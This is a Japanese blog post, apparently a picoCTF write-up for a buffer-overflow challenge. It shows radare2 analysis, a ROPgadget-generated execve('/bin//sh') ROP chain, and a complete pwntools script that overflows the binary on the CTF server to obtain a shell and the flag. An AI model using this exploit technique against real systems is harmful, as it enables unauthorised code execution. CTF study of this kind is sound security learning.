あ、2つだけだった!(ノ≧ڡ≦)
上記2つの問題は、flagを表示してくれるmainから呼ばれていない関数がありましたが、今回はありません。

あとは、ハリネズミ本のROP周りの章を読んでみました。これを読んだことで、今まで解いた2つの問題はpopret gadgetの考え方で解けて、今回はgadgetを収集した後にgadgetをうまいことつなげる、一歩進んだやり方が必要そうというのがわかりました。

また、余談になってしまいますが(余談ばかり)ちょうどtwitterで良さげな記事が回ってきたので読んでみました。ROPが簡単にまとまっていて読みやすい上に、ROPの発展形の話も入っていて非常に面白かったです。まだこれらを使ったCTF問は出会ったことがないけど、やってみたい。

Return-oriented programming以後 | 一生あとで読んでろ

ここで、radare2でバイナリを解析してみます。

$ r2 gets 
WARNING: Cannot initialize dynamic strings
[0x08048736]> aaaa  # 自動解析実行
(~略~)
[0x08048736]> /R    # opコード検索 (pop,ret)
Do you want to print 267379 lines? (y/N) n
[0x08048736]> afl   # 関数を一覧表示
0x080481a8    3 35           sym._init
0x080481d0    1 6            sub.ifunc_0_80481d0
0x080481e0    1 6            fcn.080481e0
0x080481f0    1 6            fcn.080481f0
0x08048200    1 6            fcn.08048200
...(~略~)...
0x080bb450   18 285  -> 276  sym.free_mem_8
0x080bb570   16 180  -> 194  sym.arena_thread_freeres
0x080dca46    1 27           fcn.080dca46
0x080e32b7    1 42           fcn.080e32b7

なんと超シンプルなコードなはずなのに、opコードや関数が多すぎ!!!何事!?と思ったけど、他のバイナリが性的コンパイルされている模様。ということで、ROPに使用できるgadgetが沢山ある事がわかりました。

自力で解けなさそうだったので他の方のwrite-upを読んでみたところ、ほとんどが下記のROPGadgetを使っているようなので、使ってみることにしました。名前は何度か見かけてましたが使わずに解けてたので、今回初利用。

github.com

kali linuxはデフォルトで入っているので、$ ROPgadget で使用可。READMEに使用方法が書かれているので、それを見ながら使ってみます。

対象バイナリファイルの指定には --binary, ROP chainを作って欲しいので --ropchain オプションを指定。他にもいろいろ機能があるみたいですが、今回はこれらのオプションだけで実行してみます。

$ ROPgadget --binary gets --ropchain

数秒かかりましたが、無事chainが組めたようです。ROPgadget実行結果↓

(前略)
- Step 5 -- Build the ROP chain

    #!/usr/bin/env python2
    # execve generated by ROPgadget

    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<I', 0x0806f19a) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b84d6) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806f19a) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b84d6) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806f19a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08049473) # xor eax, eax ; ret
    p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080dece1) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806f19a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08049473) # xor eax, eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0807ab7f) # inc eax ; ret
    p += pack('<I', 0x0806cd95) # int 0x80

出力されるのはpython2対応のコードなんですね。v5.4のリリースノートに Add: Python3 support とあるけど、出力コードのバージョンではないのかな。Optionでも指定できないようだし。

出力されたコードを、picoCTFのshellサーバに接続して実行するプログラムと組み合わせます。
ちなみに今回はpwntoolも使ったのですが、いつもの癖で何も考えず from pwn import * と書いて組んでいると pack 関数が struct.packpwn.pack で競合してエラーになっちゃった。初歩的なことですが、struct.packのように使用時に名前を指定してやるか、import順を考慮する必要がありました。

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# execve generated by ROPgadget

from pwn import *
from struct import pack

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print 'name: '
pico_name = raw_input('>> ').strip()
print 'password: '
pico_pass = raw_input('>> ').strip()
pico_ssh = ssh(host = '2018shell.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d')

process = pico_ssh.process('./gets')

# ここからROPgadgetの出力をそのまま + paddingを指定
# Padding goes here
p = 'A' * (0x18 + 0x04)

p += pack('<I', 0x0806f19a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b84d6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f19a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b84d6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f19a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049473) # xor eax, eax ; ret
p += pack('<I', 0x08054b4b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080dece1) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f19a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049473) # xor eax, eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0807ab7f) # inc eax ; ret
p += pack('<I', 0x0806cd95) # int 0x80

process.sendline(p)
process.interactive()

実行結果

$ python solve.py 
(略)
[*] Switching to interactive mode
GIVE ME YOUR NAME!
$ $ ls
flag.txt  gets    gets.c
$ $ cat flag.txt
picoCTF{rOp_yOuR_wAY_tO_AnTHinG_700e9c8e}$ $  

うおー!shell取れた!このツール便利だなぁ!ᐠ( ᐛ )ᐟ